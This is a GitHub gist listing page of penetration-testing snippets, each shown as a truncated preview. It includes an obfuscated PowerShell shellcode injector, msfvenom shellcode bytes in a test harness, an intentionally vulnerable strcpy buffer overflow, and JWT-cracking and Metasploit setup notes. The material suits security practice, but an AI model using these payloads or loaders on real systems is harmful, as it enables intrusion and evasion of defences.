Skip to content

Instantly share code, notes, and snippets.

View pich4ya's full-sized avatar

LongCat pich4ya

View GitHub Profile
@pich4ya
pich4ya / Invoke-Shellcode.ps1
Last active August 13, 2021 11:27
Invoke-Obfuscation -ScriptPath https://raw.githubusercontent.com/pich4ya/PowerSploit/master/CodeExecution/Invoke-Shellcode.ps1 -Command 'TOKEN\ALL\1,1,TEST,LAUNCHER\STDIN++\2347,CLIP' -NoExit -Quiet
&('sV') ("{0}{1}"-f '3y','F02') ([typE]("{7}{0}{6}{4}{5}{1}{2}{3}{8}" -f 'ReFL','mIT.','ASS','e','TiO','N.E','Ec','sySTeM.','MblyBUIldEraccESS') ) ; &("{2}{0}{1}"-f'T-ItE','M','SE') ('vaRIA'+'BlE:o8'+'k0') ( [TYpe]("{8}{3}{1}{4}{7}{6}{0}{2}{9}{5}"-f 'In','Re','Gc','eM.','fLE','S','l','ctIOn.CAl','syST','OnventION') ) ; $5YR6 = [TypE]("{2}{1}{0}"-f'aiN','dOm','apP') ; &("{2}{3}{1}{0}"-f 'ble','ria','sET-v','a') ("Z"+"T3") ( [tYPe]("{1}{3}{2}{0}" -F 'RAY','sy','Tem.Ar','S')) ; &("{0}{1}{2}" -f'sEt-vAR','I','aBle') ("E"+"G8Bx") ( [Type]("{1}{0}"-f 'ooL','B')) ; $yvZ8 =[TYPe]("{1}{0}" -f 'NTpTR','i') ; &("{0}{1}{2}{3}" -f 'SeT-v','A','R','IAbLE') ("{0}{1}"-f'2BOP','eI') ( [tyPE]("{1}{0}{2}" -F'nt','UI','32') ) ; &("{2}{1}{0}"-f'em','et-it','S') ('VaRiABl'+'E'+':5'+'4X'+'V') ([TYPe]("{5}{1}{3}{0}{2}{4}{6}" -F'Se','ime.INter','rvIceS.m','op','aR','systeM.ruNt','sHal') ); function inV`o`kE-S`helLCOdE
{
[CmdletBinding( defAulTPARAMETerSetnamE = {"{1}{0}{2}"-f 'oca','RunL','l'}, SUPporT
@pich4ya
pich4ya / TestShellcode.cpp
Created July 7, 2018 23:49
Test Windows Shellcode in Visual Studio 2017 / Win7 x64
// TestShellcode.cpp : Defines the entry point for the console application.
//
#include "stdafx.h"
#include <stdio.h>
#include <Windows.h>
// ./msfvenom -p windows/exec cmd=calc -f c
unsigned char b[] ="\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
@pich4ya
pich4ya / zsh_docker.txt
Created July 21, 2018 15:27
Fix: Zsh autocompletes Files/Directories instead of it options on MacOS
1.
$ vim .zshrc
plugins=(
...
docker,
docker-compose,
...
autoload -Uz compinit; compinit
2.
$ ln -s /Applications/Docker.app/Contents/Resources/etc/docker.zsh-completion /usr/local/share/zsh/site-functions/_docker
#!/bin/bash
### Shell configuration
#
set -e
set -u
set -o pipefail
@pich4ya
pich4ya / crack_jwt.txt
Last active June 19, 2023 16:13
Crack JWT (HMAC) with HashCat/JohnTheRipper on MacOS
Target:
{
"alg": "HS256",
"typ": "JWT"
}
{
"sub": "1234567890",
"name": "John Doe",
"iat": 1516239022
@pich4ya
pich4ya / Metasploit_Database_Kali_Container.txt
Created July 26, 2018 06:05
Setup Metasploit Database in Kali Docker Container
$ apt update && apt -y upgrade
$ apt install metasploit-framework
$ service postgresql start
Starting PostgreSQL 10 database server: main.
$ msfdb init
System has not been booted with systemd as init system (PID 1). Can't operate.
Failed to connect to bus: Host is down
[+] Starting database
System has not been booted with systemd as init system (PID 1). Can't operate.
Failed to connect to bus: Host is down
@pich4ya
pich4ya / WiFi_dongle.txt
Last active May 13, 2023 13:01
WiFi dongle for Packet Injection/Monitor Mode
From Best to Bad:
Ralink RT8187L : ALFA AWUS036H 1000mW 5 dBi (silver) - 800 ฿ <- OffSec & Vivek recommend this card!, freezing issues
Atheros AR9271 : ALFA AWUS036NHA 800mW b/g/n MIMO (black) - 900 ฿ <- used by a r/netsec pentester, good injection in Youtube
Ralink RT3070 : ALFA AWUS036NEH 500mW b/g (tiny & black) - 600 ฿ <- poor injections but it works
Ralink RT3070 : ALFA AWUS036NH (Green) <- freezing issues, partially work, go h/nha
Ralink RT3572 : ALFA AWUS051NH (gold) <- only the 5 Ghz card known for monitor mode & injections
Realtek RTL8188RU : ALFA AWUS036NHR 2W b/g/n MIMO (white) - 950 ฿ <- shitty mute, dont see associated clients, no wpa handshake
ALFA AWUS036NHRv2 - does not work, don't buy it.
@pich4ya
pich4ya / searchreplacedb2.php
Last active August 2, 2018 06:23
searchreplacedb2_exploit.py
<?php
// https://github.com/jmandala/searchreplacedb2
/**
*
* Safe Search and Replace on Database with Serialized Data v2.0.1
*
* This script is to solve the problem of doing database search and replace when
* developers have only gone and used the non-relational concept of serializing
* PHP arrays into single database columns. It will search for all matching
* data on the database and change it, even if it's within a serialized PHP
@pich4ya
pich4ya / virtualenvwrapper.txt
Last active May 16, 2020 18:52
virtualenvwrapper on MacOS
$ pip uninstall virtualenvwrapper
$ pip uninstall virtualenv
$ brew uninstall python
$ brew uninstall python@2
$ brew uninstall python@3
$ brew install python@3
$ brew install python@2
$ easy_install pip
#define DEFAULT_BUFLEN 4096
...
int RecvBufLen = DEFAULT_BUFLEN;
...
void Function3(char *Input) {
char Buffer2S[2000];
strcpy(Buffer2S, Input);
}
...
DWORD WINAPI ConnectionHandler(LPVOID CSocket) {